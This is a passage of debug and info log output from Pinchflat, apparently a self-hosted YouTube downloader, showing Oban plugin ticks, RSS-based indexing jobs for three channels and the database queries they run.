{"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:54.841 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.676 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:07:24.843 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:54.844 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.677 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:08:24.845 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:54.846 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.678 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:09:24.847 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:54.849 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.679 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:10:24.850 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:34.455 [info] {"args":{"id":1},"id":449,"meta":{},"system_time":1784848234455161107,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:10:34.455 [debug] QUERY OK source="sources" db=0.0ms idle=472.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:10:34.455 [debug] QUERY OK source="settings" db=0.0ms idle=472.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:10:34.455 [debug] QUERY OK source="media_profiles" db=0.0ms idle=472.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:10:34.455 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:10:34.455 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 23:10:34.897 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 23:10:34.898 [debug] QUERY OK source="media_items" db=0.3ms idle=443.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 23:10:34.900 [debug] QUERY OK source="media_items" db=2.0ms idle=443.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:10:34.901 [debug] QUERY OK source="tasks" db=0.0ms idle=445.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [452, 1, ~U[2026-07-23 23:10:34Z], ~U[2026-07-23 23:10:34Z]] 23:10:34.901 [info] {"args":{"id":1},"id":449,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":446315,"event":"job:stop","queue_time":76803,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:10:35.456 [info] {"args":{"id":2},"id":450,"meta":{},"system_time":1784848235456203090,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:10:35.456 [debug] QUERY OK source="sources" db=0.0ms idle=554.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:10:35.456 [debug] QUERY OK source="settings" db=0.0ms idle=554.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:10:35.456 [debug] QUERY OK source="media_profiles" db=0.0ms idle=548.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:10:35.456 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:10:35.456 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 23:10:35.622 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 23:10:35.623 [debug] QUERY OK source="media_items" db=0.4ms idle=166.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 23:10:35.623 [debug] QUERY OK source="media_items" db=0.2ms idle=166.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 23:10:35.624 [debug] QUERY OK source="tasks" db=0.0ms idle=167.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [453, 2, ~U[2026-07-23 23:10:35Z], ~U[2026-07-23 23:10:35Z]] 23:10:35.624 [info] {"args":{"id":2},"id":450,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":168174,"event":"job:stop","queue_time":497402,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:10:54.852 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.680 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:11:24.853 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:54.854 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.681 [info] {"source":"oban","duration":144,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:12:24.855 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:54.856 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.682 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:13:24.857 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:54.859 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.683 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:14:24.860 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:46.750 [info] {"args":{"id":3},"id":451,"meta":{},"system_time":1784848486750350988,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:14:46.750 [debug] QUERY OK source="sources" db=0.0ms idle=767.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:46.750 [debug] QUERY OK source="settings" db=0.0ms idle=767.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:46.750 [debug] QUERY OK source="media_profiles" db=0.0ms idle=768.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:14:46.751 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:46.751 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 23:14:47.101 [debug] Media ids fetched from RSS: ["QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY", "BEPrk2Ua1zA"] 23:14:47.101 [debug] QUERY OK source="media_items" db=0.4ms idle=350.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY", "BEPrk2Ua1zA"] 23:14:47.105 [debug] QUERY OK source="media_items" db=3.2ms idle=351.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 23:14:47.106 [debug] QUERY OK source="tasks" db=0.1ms idle=355.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [454, 3, ~U[2026-07-23 23:14:47Z], ~U[2026-07-23 23:14:47Z]] 23:14:47.106 [info] {"args":{"id":3},"id":451,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":356290,"event":"job:stop","queue_time":567837,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:14:54.861 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.683 [info] {"source":"oban","duration":112,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:15:24.862 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:54.863 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.685 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:16:24.864 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:54.865 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.686 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:17:24.866 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:54.867 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.687 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:18:24.868 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:54.869 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.687 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:19:24.870 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:54.872 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.689 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:20:24.873 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:35.131 [info] {"args":{"id":1},"id":452,"meta":{},"system_time":1784848835131259271,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:20:35.131 [debug] QUERY OK source="sources" db=0.0ms idle=1148.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:20:35.131 [debug] QUERY OK source="settings" db=0.1ms idle=1148.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:35.131 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:20:35.131 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:35.131 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 23:20:35.391 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 23:20:35.391 [debug] QUERY OK source="media_items" db=0.5ms idle=260.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 23:20:35.394 [debug] QUERY OK source="media_items" db=2.1ms idle=260.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND 